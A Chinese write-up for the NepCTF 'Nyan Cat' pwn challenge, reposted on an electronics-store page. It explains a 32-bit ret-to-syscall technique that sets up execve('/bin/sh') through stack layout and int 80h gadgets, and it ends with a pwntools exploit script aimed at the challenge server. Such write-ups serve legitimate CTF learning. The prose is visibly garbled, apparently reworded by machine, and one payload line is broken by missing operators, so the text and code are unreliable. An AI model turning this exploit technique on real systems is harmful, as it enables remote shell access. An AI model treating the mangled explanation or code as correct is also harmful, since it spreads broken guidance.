资讯详情

nepctf Nyan Cat 彩虹猫

考察点

  1. 32系统调用
  2. 布置栈

注意题目源文件没有告诉函数名write什么,这些都是我自己改的名字,打开什么保护自己看

思路概要

  1. 利用程序自带的系统调用eax=0xb(execve调用函数系统b)
  2. 通过布置栈,使栈ebx->‘/bin/sh’,ecx->0,edx->0
  3. 最后int 80h,拿到shell

程序分析

  1. 程序很简单,只有几个函数,没有plt,got,没有通过检查字符串/bin/sh。 在这里插入图片描述
  1. 查看start函数得知,write输出彩虹猫图案,buf指针可写,指向.rodata段数据(本段不能写)
3. main函数很简单,read将32输入栈中h字节的内容,write输出"Good Luck!\n",不要认为直接覆盖是理所当然的ebp,eip就可以了

  1. 通过查看汇编代码,可以看出程序只使用esp未使用定位,ebp,其次,这个话题的栈空间没那么常规,可以自己做start汇编开始画栈执行的变化。我在这里提供现成的,但建议自己去做,在这里write除下面的句子外,完成下面的句子esp其它值都变成了deadbeef了。

具体思路

  1. 首先,没有使用程序现有的函数plt,got因此无法泄露libc,且没有system函数和/bin/sh地址所以无法使用system获取shell。

  2. 通过系统调用实现程序的具体函数,也可以通过系统调用execve函数获取shell,然后需要解决eax,ebx,ecx,edx这三个寄存器让他满意execve调用

  3. eax需要等于0xb,通过查看gadget和函数,我们发现只要执行这个函数,write 那么eax就等于0xb,这个问题就解决了

  4. ebx想要指向/bin/sh,首先,我们应该写入程序/bin/sh,然后让ebx指向他,我们首先需要找到一个可以写的内存ida似乎没有找到可以写入/bin/sh的地方,在gdb里面我们vmmap您可以查看程序的整个段落,最后找到一个写内存的地址,这样我们就可以解决/bin/sh地址问题,可能会有一个问题,为什么不把它写进栈里呢?首先,我写了它,但我不知道具体的地址。除非有办法泄露,否则泄露目前不成功。

  1. 最后一个问题是如何让ebx,ecx,edx指向我们布置的栈内容,然后read,write这段发先于里面gadget,可以解决问题(从划线开始mov eax,3不),这样eax不会改变,只要相应的好栈布局内容可以顺序执行int 80h,拿到shell

  1. 最后一个问题是如何完成布栈write输出之后eax保持0xb且使ebx,ecx,edx,指向我们布置的栈内容,因为我们每次输入的空间有限,每次最多0x32.两个函数不能安排在同一堆栈中。最后,如果我们把栈空间拉下来,我们会发现x20(执行两次main函数中的sub res,10h),之后利用add rsp,0x20 ret,前面的栈可以顺利完成write之后执行execve

注: 所谓了下拉20h,就是执行main函数是两次,但不是直接的call main,而是用main最初汇编的地址

1 .第一次read即使在输入时计算栈位,也会计算栈位置execve函数所需的栈布置好 2 .第二次read时,可以把ebx,ecx,edx寄存器指向我们前面布置的参数的gadget布置进入 3 .最后一次read,布置好write输出控制eax=0xb之后立即将栈抬高20h,再ret返回执行上述布局gadget 

exp

from pwn import * context.update(os='linux',arch='i386',log_level='debug') c=remote(b'nep.lemonprefect.cn',27842)  #c=process(b'./main')   binsh=0x804b200  c.recv()                                   py=b'a'*0x10 p32(0x080480F0) p32(0x080481A0) p32(0) p32(binsh) p32(0x8) p32(binsh) p32(0)*2#通过计算栈空间提前把execve函数需要的参数通过第一次写入
c.send(py)

pause()
c.send(b'/bin/sh')

#计算栈空间通过第二次输入把使得执行将ebx,ecx,edx指向我们布置的栈内容
pause()
py=b'a'*0x10+p32(0x080481A0)+p32(0)*5+p32(0x080480F5)
c.send(py)

#输出完之后,通过add rsp,0x20 ret,执行我们提前布置的gadget
pause()
py=b'a'*0x10+p32(0x08048110)+p32(0x08048190)+p32(1)+p32(0x0804B000)+p32(0xb)

c.send(py)

c.interactive()

图片八成看不清,但是不能插入文件所以师傅们还是自己画一遍理解啦,勉勉强强参考下吧

标签: p32j3m密封连接器p32j12m密封连接器p32j10mq密封连接器p32j11mqg密封连接器

锐单商城拥有海量元器件数据手册IC替代型号,打造 电子元器件IC百科大全!

锐单商城 - 一站式电子元器件采购平台